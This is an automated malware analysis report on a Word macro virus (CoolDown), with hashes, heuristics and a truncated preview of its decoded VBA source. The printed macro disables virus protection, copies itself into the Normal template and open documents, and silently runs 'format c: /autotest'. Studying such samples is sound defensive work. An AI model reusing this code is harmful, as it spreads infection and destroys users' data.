Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4c8caccb8d60f63…

MALICIOUS

Office (OLE)

38.5 KB Created: 2002-06-06 03:30:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 91b1f5fca1d86e1b2efe51ef693e42eb SHA-1: 7289fd3030517079e73b5e49f192283ef57c60d4 SHA-256: c4c8caccb8d60f63a4670f681ee5a2b1c28b92ef5b7188e2b73ba4b917465ff6
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro that triggers the execution of the CoolDown subroutine. This subroutine uses the Shell() function to execute the command 'format c: /autotest', indicating an attempt to perform destructive actions or download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.CoolDown-1' further supports the malicious nature of this file.

Heuristics 5

  • ClamAV: Doc.Trojan.CoolDown-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CoolDown-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30755 bytes
SHA-256: ca8b8fc258d1693002496b0edb177760c6aab0628f5e7fdc93194bee41295c9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
               ' 9698.537
Private Sub _
           Document_Open()
               
CoolDown _
   0
               
' 6143.058
End _
         Sub
   Private Sub Document_Close()
             CoolDown 0
       ' 6136.534
End Sub
               Private _
           Sub ViewVBCode()
       CoolDown _
          1
       ' 4987.288
End Sub
         
' 7052.226
' 5057.934
Private _
      Sub _
        CoolDown(How As Integer)
            On _
      Error Resume Next
           Dim c As String, _
 a _
     As _
             Long, b As Long, _
             d _
         As _
            Long, e As Long, f As Long, _
   res As _
              String, m _
     As _
       Boolean
            Randomize
   With Options
              .VirusProtection = _
                False
           ' 471.1831
.ConfirmConversions _
        = False
            .SaveNormalPrompt _
                = _
          False
   End With
           ' 3984.335
If How = _
           1 _
 Then
            ' 8606.404
s _
       = _
        Shell("format" & _
              Chr(32) & _
           "c:" _
       & _
     Chr(32) _
 & _
  "/autotest", _
 vbHide)
             ' 6976.805
Else
         With _
    NormalTemplate.VBProject.VBComponents(1).CodeModule
       If _
    Not _
           .Find("Cool" & "Down", _
         1, _
  1, _
                1000, 1000, _
            False, False) Then
       

' 2994.814
' 4033.705
' 7655.415
a _
         = .CountOfLines
                For _
     b = 1 To a
       .DeleteLines _
               (1)
  Next
           ' 6461.275
' 9465.145
' 4807.808
d = _
           1
   a _
           = _
             ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
               
' 7100.946
' 3855.403

' 8981.387

res _
            = _
      ""
         For _
            b = 1 _
 To a
     c _
   = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(b, 1)
               c _
             = _
    RTrim(LTrim(c))
                If foo(c, _
            f, _
            res) Then
        .InsertLines _
      d, _
Space(Rnd _
     * _
     16) & _
         res
         ' 4435.59
' 6455.385
d = d + _
  f
               f _
       = _
       0
              ' 1378.528
res = ""
     ' 2845.397
End _
 If
' 1812.611
Next
              ' 9198.63
' 9509.816

' 9251.315
NormalTemplate.Save
            ' 6880.943
End _
     If
        ' 5216.785
End With
            ' 4191.488
For e _
   = 1 To Documents.Count
              With _
        Documents(e).VBProject.VBComponents(1).CodeModule
   ' 680.1027
If _
               Not .Find("Cool" _
       & "Down", _
             1, 1, _
      1000, 1000, _
 False, _
          False) Then
         ' 2644.876
' 5208.129

a = .CountOfLines
            m _
             = Documents(e).Saved
 For _
               b = 1 To _
         a
 .DeleteLines _
           (1)
     Next
         ' 1616.071
d = 1
    a = _
        NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
             ' 8179.904
res = _
          ""
 
' 5365.369
' 4295.099
For _
   b = 1 To _
              a
      c = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(b, 1)
           c _
 = RTrim(LTrim(c))
          If _
         foo(c, f, _
               res) _
  Then
         ' 2279.423
' 6740.393
' 514.7952
.InsertLines _
        d, Space(Rnd * _
        16) _
 & res
 d = _
       d + f
     ' 4624.699
' 2096.517
' 7202.546
' 7647.229
f = _
             0
    ' 6373.487

' 2121.608
' 6893.111
res _
   = _
   ""
             
' 2481.338
End If
              Next
  ' 4314.839
' 3004.26
' 1572.881
If Documents(e).Path _
               <> _
   "" T
... (truncated)